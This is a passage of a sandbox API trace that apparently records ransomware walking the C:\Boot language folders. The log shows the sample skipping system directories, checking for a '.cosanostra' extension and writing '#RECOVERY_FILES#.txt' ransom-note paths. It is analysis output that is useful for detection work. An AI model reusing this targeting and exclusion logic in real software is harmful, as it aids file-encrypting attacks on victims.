(lpFirst="bootmgr.exe.mui", lpSrch=".cosanostra") returned 0x0 [0075.915] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="#RECOVERY_FILES#.txt") returned 1 [0075.915] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="_uninstalling_.png") returned 1 [0075.915] lstrlenW (lpString="\\\\?\\C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 33 [0075.915] FindNextFileW (in: hFindFile=0x24d080, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 0 [0075.915] FindClose (in: hFindFile=0x24d080 | out: hFindFile=0x24d080) returned 1 [0075.915] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\ko-KR\\#RECOVERY_FILES#.txt") returned 38 [0075.915] lstrlenW (lpString="\\\\?\\C:\\Boot\\ko-KR\\#RECOVERY_FILES#.txt") returned 38 [0075.915] FindNextFileW (in: hFindFile=0x239e28, lpFindFileData=0x2cff6e8 | out: lpFindFileData=0x2cff6e8) returned 1 [0075.915] lstrcmpiW (lpString1="memtest.exe", lpString2="Windows") returned -1 [0075.915] lstrlenW (lpString="Windows") returned 7 [0075.915] lstrcmpiW (lpString1="memtest.exe", lpString2="Program Files") returned -1 [0075.915] lstrlenW (lpString="Program Files") returned 13 [0075.915] lstrcmpiW (lpString1="memtest.exe", lpString2="Program Files (x86)") returned -1 [0075.916] lstrlenW (lpString="Program Files (x86)") returned 19 [0075.916] lstrcmpiW (lpString1="memtest.exe", lpString2="$Recycle.bin") returned 1 [0075.916] lstrlenW (lpString="$Recycle.bin") returned 12 [0075.916] lstrcmpiW (lpString1="memtest.exe", lpString2="System Volume Information") returned -1 [0075.916] lstrlenW (lpString="System Volume Information") returned 25 [0075.916] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\memtest.exe") returned 23 [0075.916] StrStrIW (lpFirst="memtest.exe", lpSrch=".cosanostra") returned 0x0 [0075.916] lstrcmpW (lpString1="memtest.exe", lpString2="#RECOVERY_FILES#.txt") returned 1 [0075.916] lstrcmpW (lpString1="memtest.exe", lpString2="_uninstalling_.png") returned 1 [0075.916] lstrlenW (lpString="\\\\?\\C:\\Boot\\memtest.exe") returned 23 [0075.916] FindNextFileW (in: hFindFile=0x239e28, lpFindFileData=0x2cff6e8 | out: lpFindFileData=0x2cff6e8) returned 1 [0075.916] lstrcmpiW (lpString1="nb-NO", lpString2="Windows") returned -1 [0075.916] lstrlenW (lpString="Windows") returned 7 [0075.916] lstrcmpiW (lpString1="nb-NO", lpString2="Program Files") returned -1 [0075.916] lstrlenW (lpString="Program Files") returned 13 [0075.916] lstrcmpiW (lpString1="nb-NO", lpString2="Program Files (x86)") returned -1 [0075.916] lstrlenW (lpString="Program Files (x86)") returned 19 [0075.916] lstrcmpiW (lpString1="nb-NO", lpString2="$Recycle.bin") returned 1 [0075.916] lstrlenW (lpString="$Recycle.bin") returned 12 [0075.916] lstrcmpiW (lpString1="nb-NO", lpString2="System Volume Information") returned -1 [0075.916] lstrlenW (lpString="System Volume Information") returned 25 [0075.916] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\nb-NO") returned 17 [0075.916] lstrcmpW (lpString1="nb-NO", lpString2=".") returned 1 [0075.916] lstrcmpW (lpString1="nb-NO", lpString2="..") returned 1 [0075.916] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\nb-NO\\*") returned 19 [0075.916] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\nb-NO\\*", lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 0x24d080 [0075.917] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0075.917] lstrlenW (lpString="Windows") returned 7 [0075.917] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0075.917] lstrlenW (lpString="Program Files") returned 13 [0075.917] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0075.917] lstrlenW (lpString="Program Files (x86)") returned 19 [0075.917] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0075.917] lstrlenW (lpString="$Recycle.bin") returned 12 [0075.917] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0075.917] lstrlenW (lpString="System Volume Information") returned 25 [0075.917] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\nb-NO\\.") returned 19 [0075.917] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0075.917] FindNextFileW (in: hFindFile=0x24d080, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 1 [0075.917] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0075.917] lstrlenW (lpString="Windows") returned 7 [0075.917] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0075.917] lstrlenW (lpString="Program Files") returned 13 [0075.917] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0075.917] lstrlenW (lpString="Program Files (x86)") returned 19 [0075.917] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0075.917] lstrlenW (lpString="$Recycle.bin") returned 12 [0075.917] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0075.917] lstrlenW (lpString="System Volume Information") returned 25 [0075.917] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\nb-NO\\..") returned 20 [0075.917] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0075.917] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0075.917] FindNextFileW (in: hFindFile=0x24d080, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 1 [0075.917] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="Windows") returned -1 [0075.917] lstrlenW (lpString="Windows") returned 7 [0075.917] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="Program Files") returned -1 [0075.917] lstrlenW (lpString="Program Files") returned 13 [0075.917] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="Program Files (x86)") returned -1 [0075.917] lstrlenW (lpString="Program Files (x86)") returned 19 [0075.917] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="$Recycle.bin") returned 1 [0075.917] lstrlenW (lpString="$Recycle.bin") returned 12 [0075.917] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="System Volume Information") returned -1 [0075.918] lstrlenW (lpString="System Volume Information") returned 25 [0075.918] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 33 [0075.918] StrStrIW (lpFirst="bootmgr.exe.mui", lpSrch=".cosanostra") returned 0x0 [0075.918] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="#RECOVERY_FILES#.txt") returned 1 [0075.918] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="_uninstalling_.png") returned 1 [0075.918] lstrlenW (lpString="\\\\?\\C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 33 [0075.918] FindNextFileW (in: hFindFile=0x24d080, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 0 [0075.918] FindClose (in: hFindFile=0x24d080 | out: hFindFile=0x24d080) returned 1 [0075.918] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\nb-NO\\#RECOVERY_FILES#.txt") returned 38 [0075.918] lstrlenW (lpString="\\\\?\\C:\\Boot\\nb-NO\\#RECOVERY_FILES#.txt") returned 38 [0075.918] FindNextFileW (in: hFindFile=0x239e28, lpFindFileData=0x2cff6e8 | out: lpFindFileData=0x2cff6e8) returned 1 [0075.918] lstrcmpiW (lpString1="nl-NL", lpString2="Windows") returned -1 [0075.918] lstrlenW (lpString="Windows") returned 7 [0075.918] lstrcmpiW (lpString1="nl-NL", lpString2="Program Files") returned -1 [0075.918] lstrlenW (lpString="Program Files") returned 13 [0075.918] lstrcmpiW (lpString1="nl-NL", lpString2="Program Files (x86)") returned -1 [0075.918] lstrlenW (lpString="Program Files (x86)") returned 19 [0075.918] lstrcmpiW (lpString1="nl-NL", lpString2="$Recycle.bin") returned 1 [0075.918] lstrlenW (lpString="$Recycle.bin") returned 12 [0075.918] lstrcmpiW (lpString1="nl-NL", lpString2="System Volume Information") returned -1 [0075.918] lstrlenW (lpString="System Volume Information") returned 25 [0075.918] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\nl-NL") returned 17 [0075.918] lstrcmpW (lpString1="nl-NL", lpString2=".") returned 1 [0075.919] lstrcmpW (lpString1="nl-NL", lpString2="..") returned 1 [0075.919] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\nl-NL\\*") returned 19 [0075.919] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\nl-NL\\*", lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 0x24d080 [0075.972] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0075.972] lstrlenW (lpString="Windows") returned 7 [0075.972] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0075.973] lstrlenW (lpString="Program Files") returned 13 [0075.973] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0075.973] lstrlenW (lpString="Program Files (x86)") returned 19 [0075.973] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0075.973] lstrlenW (lpString="$Recycle.bin") returned 12 [0075.973] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0075.973] lstrlenW (lpString="System Volume Information") returned 25 [0075.973] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\nl-NL\\.") returned 19 [0075.973] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0075.973] FindNextFileW (in: hFindFile=0x24d080, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 1 [0075.973] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0075.973] lstrlenW (lpString="Windows") returned 7 [0075.973] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0075.973] lstrlenW (lpString="Program Files") returned 13 [0075.973] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0075.973] lstrlenW (lpString="Program Files (x86)") returned 19 [0075.973] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0075.973] lstrlenW (lpString="$Recycle.bin") returned 12 [0075.973] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0075.973] lstrlenW (lpString="System Volume Information") returned 25 [0075.973] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\nl-NL\\..") returned 20 [0075.973] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0075.973] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0075.973] FindNextFileW (in: hFindFile=0x24d080, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 1 [0075.973] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="Windows") returned -1 [0075.973] lstrlenW (lpString="Windows") returned 7 [0075.973] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="Program Files") returned -1 [0075.973] lstrlenW (lpString="Program Files") returned 13 [0075.973] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="Program Files (x86)") returned -1 [0075.973] lstrlenW (lpString="Program Files (x86)") returned 19 [0075.973] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="$Recycle.bin") returned 1 [0075.973] lstrlenW (lpString="$Recycle.bin") returned 12 [0075.973] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="System Volume Information") returned -1 [0075.973] lstrlenW (lpString="System Volume Information") returned 25 [0075.973] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 33 [0075.973] StrStrIW (lpFirst="bootmgr.exe.mui", lpSrch=".cosanostra") returned 0x0 [0075.973] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="#RECOVERY_FILES#.txt") returned 1 [0075.973] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="_uninstalling_.png") returned 1 [0075.974] lstrlenW (lpString="\\\\?\\C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 33 [0075.974] FindNextFileW (in: hFindFile=0x24d080, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 0 [0075.974] FindClose (in: hFindFile=0x24d080 | out: hFindFile=0x24d080) returned 1 [0075.974] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\nl-NL\\#RECOVERY_FILES#.txt") returned 38 [0075.974] lstrlenW (lpString="\\\\?\\C:\\Boot\\nl-NL\\#RECOVERY_FILES#.txt") returned 38 [0075.974] FindNextFileW (in: hFindFile=0x239e28, lpFindFileData=0x2cff6e8 | out: lpFindFileData=0x2cff6e8) returned 1 [0075.974] lstrcmpiW (lpString1="pl-PL", lpString2="Windows") returned -1 [0075.974] lstrlenW (lpString="Windows") returned 7 [0075.974] lstrcmpiW (lpString1="pl-PL", lpString2="Program Files") returned -1 [0075.974] lstrlenW (lpString="Program Files") returned 13 [0075.974] lstrcmpiW (lpString1="pl-PL", lpString2="Program Files (x86)") returned -1 [0075.974] lstrlenW (lpString="Program Files (x86)") returned 19 [0075.974] lstrcmpiW (lpString1="pl-PL", lpString2="$Recycle.bin") returned 1 [0075.974] lstrlenW (lpString="$Recycle.bin") returned 12 [0075.974] lstrcmpiW (lpString1="pl-PL", lpString2="System Volume Information") returned -1 [0075.974] lstrlenW (lpString="System Volume Information") returned 25 [0075.974] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\pl-PL") returned 17 [0075.974] lstrcmpW (lpString1="pl-PL", lpString2=".") returned 1 [0075.974] lstrcmpW (lpString1="pl-PL", lpString2="..") returned 1 [0075.974] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\pl-PL\\*") returned 19 [0075.974] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\pl-PL\\*", lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 0x24d080 [0075.975] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0075.975] lstrlenW (lpString="Windows") returned 7 [0075.975] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0075.975] lstrlenW (lpString="Program Files") returned 13 [0075.975] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0075.975] lstrlenW (lpString="Program Files (x86)") returned 19 [0075.975] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0075.975] lstrlenW (lpString="$Recycle.bin") returned 12 [0075.975] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0075.975] lstrlenW (lpString="System Volume Information") returned 25 [0075.975] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\pl-PL\\.") returned 19 [0075.975] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0075.975] FindNextFileW (in: hFindFile=0x24d080, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 1 [0075.975] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0075.975] lstrlenW (lpString="Windows") returned 7 [0075.975] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0075.975] lstrlenW (lpString="Program Files") returned 13 [0075.975] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0075.975] lstrlenW (lpString="Program Files (x86)") returned 19 [0075.975] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0075.975] lstrlenW (lpString="$Recycle.bin") returned 12 [0075.975] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0075.975] lstrlenW (lpString="System Volume Information") returned 25 [0075.975] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\pl-PL\\..") returned 20 [0075.975] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0075.975] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0075.976] FindNextFileW (in: hFindFile=0x24d080, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 1 [0075.976] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="Windows") returned -1 [0075.976] lstrlenW (lpString="Windows") returned 7 [0075.976] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="Program Files") returned -1 [0075.976] lstrlenW (lpString="Program Files") returned 13 [0075.976] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="Program Files (x86)") returned -1 [0075.976] lstrlenW (lpString="Program Files (x86)") returned 19 [0075.976] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="$Recycle.bin") returned 1 [0075.976] lstrlenW (lpString="$Recycle.bin") returned 12 [0075.976] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="System Volume Information") returned -1 [0075.976] lstrlenW (lpString="System Volume Information") returned 25 [0075.976] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 33 [0075.976] StrStrIW (lpFirst="bootmgr.exe.mui", lpSrch=".cosanostra") returned 0x0 [0075.976] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="#RECOVERY_FILES#.txt") returned 1 [0075.976] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="_uninstalling_.png") returned 1 [0075.976] lstrlenW (lpString="\\\\?\\C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 33 [0075.976] FindNextFileW (in: hFindFile=0x24d080, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 0 [0075.976] FindClose (in: hFindFile=0x24d080 | out: hFindFile=0x24d080) returned 1 [0075.977] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\pl-PL\\#RECOVERY_FILES#.txt") returned 38 [0075.977] lstrlenW (lpString="\\\\?\\C:\\Boot\\pl-PL\\#RECOVERY_FILES#.txt") returned 38 [0075.977] FindNextFileW (in: hFindFile=0x239e28, lpFindFileData=0x2cff6e8 | out: lpFindFileData=0x2cff6e8) returned 1 [0075.977] lstrcmpiW (lpString1="pt-BR", lpString2="Windows") returned -1 [0075.977] lstrlenW (lpString="Windows") returned 7 [0075.977] lstrcmpiW (lpString1="pt-BR", lpString2="Program Files") returned 1 [0075.977] lstrlenW (lpString="Program Files") returned 13 [0075.977] lstrcmpiW (lpString1="pt-BR", lpString2="Program Files (x86)") returned 1 [0075.977] lstrlenW (lpString="Program Files (x86)") returned 19 [0075.977] lstrcmpiW (lpString1="pt-BR", lpString2="$Recycle.bin") returned 1 [0075.977] lstrlenW (lpString="$Recycle.bin") returned 12 [0075.977] lstrcmpiW (lpString1="pt-BR", lpString2="System Volume Information") returned -1 [0075.977] lstrlenW (lpString="System Volume Information") returned 25 [0075.977] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\pt-BR") returned 17 [0075.977] lstrcmpW (lpString1="pt-BR", lpString2=".") returned 1 [0075.977] lstrcmpW (lpString1="pt-BR", lpString2="..") returned 1 [0075.977] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\pt-BR\\*") returned 19 [0075.977] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\pt-BR\\*", lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 0x24d080 [0075.978] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0075.978] lstrlenW (lpString="Windows") returned 7 [0075.978] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0075.978] lstrlenW (lpString="Program Files") returned 13 [0075.978] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0075.978] lstrlenW (lpString="Program Files (x86)") returned 19 [0075.978] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0075.979] lstrlenW (lpString="$Recycle.bin") returned 12 [0075.979] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0075.979] lstrlenW (lpString="System Volume Information") returned 25 [0075.979] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\pt-BR\\.") returned 19 [0075.979] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0075.979] FindNextFileW (in: hFindFile=0x24d080, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 1 [0075.979] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0075.979] lstrlenW (lpString="Windows") returned 7 [0075.979] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0075.979] lstrlenW (lpString="Program Files") returned 13 [0075.979] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0075.979] lstrlenW (lpString="Program Files (x86)") returned 19 [0075.979] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0075.979] lstrlenW (lpString="$Recycle.bin") returned 12 [0075.979] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0075.979] lstrlenW (lpString="System Volume Information") returned 25 [0075.979] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\pt-BR\\..") returned 20 [0075.979] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0075.979] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0075.979] FindNextFileW (in: hFindFile=0x24d080, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 1 [0075.979] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="Windows") returned -1 [0075.979] lstrlenW (lpString="Windows") returned 7 [0075.979] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="Program Files") returned -1 [0075.979] lstrlenW (lpString="Program Files") returned 13 [0075.979] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="Program Files (x86)") returned -1 [0075.979] lstrlenW (lpString="Program Files (x86)") returned 19 [0075.979] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="$Recycle.bin") returned 1 [0075.979] lstrlenW (lpString="$Recycle.bin") returned 12 [0075.979] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="System Volume Information") returned -1 [0075.979] lstrlenW (lpString="System Volume Information") returned 25 [0075.979] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 33 [0075.979] StrStrIW (lpFirst="bootmgr.exe.mui", lpSrch=".cosanostra") returned 0x0 [0075.979] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="#RECOVERY_FILES#.txt") returned 1 [0075.979] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="_uninstalling_.png") returned 1 [0075.979] lstrlenW (lpString="\\\\?\\C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 33 [0075.980] FindNextFileW (in: hFindFile=0x24d080, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 0 [0075.980] FindClose (in: hFindFile=0x24d080 | out: hFindFile=0x24d080) returned 1 [0075.980] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\pt-BR\\#RECOVERY_FILES#.txt") returned 38 [0075.980] lstrlenW (lpString="\\\\?\\C:\\Boot\\pt-BR\\#RECOVERY_FILES#.txt") returned 38 [0075.980] FindNextFileW (in: hFindFile=0x239e28, lpFindFileData=0x2cff6e8 | out: lpFindFileData=0x2cff6e8) returned 1 [0075.980] lstrcmpiW (lpString1="pt-PT", lpString2="Windows") returned -1 [0075.980] lstrlenW (lpString="Windows") returned 7 [0075.980] lstrcmpiW (lpString1="pt-PT", lpString2="Program Files") returned 1 [0075.980] lstrlenW (lpString="Program Files") returned 13 [0075.980] lstrcmpiW (lpString1="pt-PT", lpString2="Program Files (x86)") returned 1 [0075.980] lstrlenW (lpString="Program Files (x86)") returned 19 [0075.980] lstrcmpiW (lpString1="pt-PT", lpString2="$Recycle.bin") returned 1 [0075.980] lstrlenW (lpString="$Recycle.bin") returned 12 [0075.980] lstrcmpiW (lpString1="pt-PT", lpString2="System Volume Information") returned -1 [0075.980] lstrlenW (lpString="System Volume Information") returned 25 [0075.980] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\pt-PT") returned 17 [0075.980] lstrcmpW (lpString1="pt-PT", lpString2=".") returned 1 [0075.980] lstrcmpW (lpString1="pt-PT", lpString2="..") returned 1 [0075.980] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\pt-PT\\*") returned 19 [0075.980] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\pt-PT\\*", lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 0x24d080 [0075.981] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0075.981] lstrlenW (lpString="Windows") returned 7 [0075.981] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0075.981] lstrlenW (lpString="Program Files") returned 13 [0075.981] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0075.981] lstrlenW (lpString="Program Files (x86)") returned 19 [0075.981] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0075.981] lstrlenW (lpString="$Recycle.bin") returned 12 [0075.981] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0075.981] lstrlenW (lpString="System Volume Information") returned 25 [0075.981] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\pt-PT\\.") returned 19 [0075.981] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0075.981] FindNextFileW (in: hFindFile=0x24d080, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 1 [0075.981] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0075.981] lstrlenW (lpString="Windows") returned 7 [0075.981] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0075.981] lstrlenW (lpString="Program Files") returned 13 [0075.981] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0075.981] lstrlenW (lpString="Program Files (x86)") returned 19 [0075.981] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0075.981] lstrlenW (lpString="$Recycle.bin") returned 12 [0075.981] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0075.981] lstrlenW (lpString="System Volume Information") returned 25 [0075.981] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\pt-PT\\..") returned 20 [0075.981] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0075.981] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0075.981] FindNextFileW (in: hFindFile=0x24d080, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 1 [0075.981] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="Windows") returned -1 [0075.981] lstrlenW (lpString="Windows") returned 7 [0075.981] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="Program Files") returned -1 [0075.981] lstrlenW (lpString="Program Files") returned 13 [0075.981] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="Program Files (x86)") returned -1 [0075.981] lstrlenW (lpString="Program Files (x86)") returned 19 [0075.981] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="$Recycle.bin") returned 1 [0075.981] lstrlenW (lpString="$Recycle.bin") returned 12 [0075.981] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="System Volume Information") returned -1 [0075.981] lstrlenW (lpString="System Volume Information") returned 25 [0075.982] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 33 [0075.982] StrStrIW (lpFirst="bootmgr.exe.mui", lpSrch=".cosanostra") returned 0x0 [0075.982] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="#RECOVERY_FILES#.txt") returned 1 [0075.982] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="_uninstalling_.png") returned 1 [0075.982] lstrlenW (lpString="\\\\?\\C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 33 [0075.982] FindNextFileW (in: hFindFile=0x24d080, 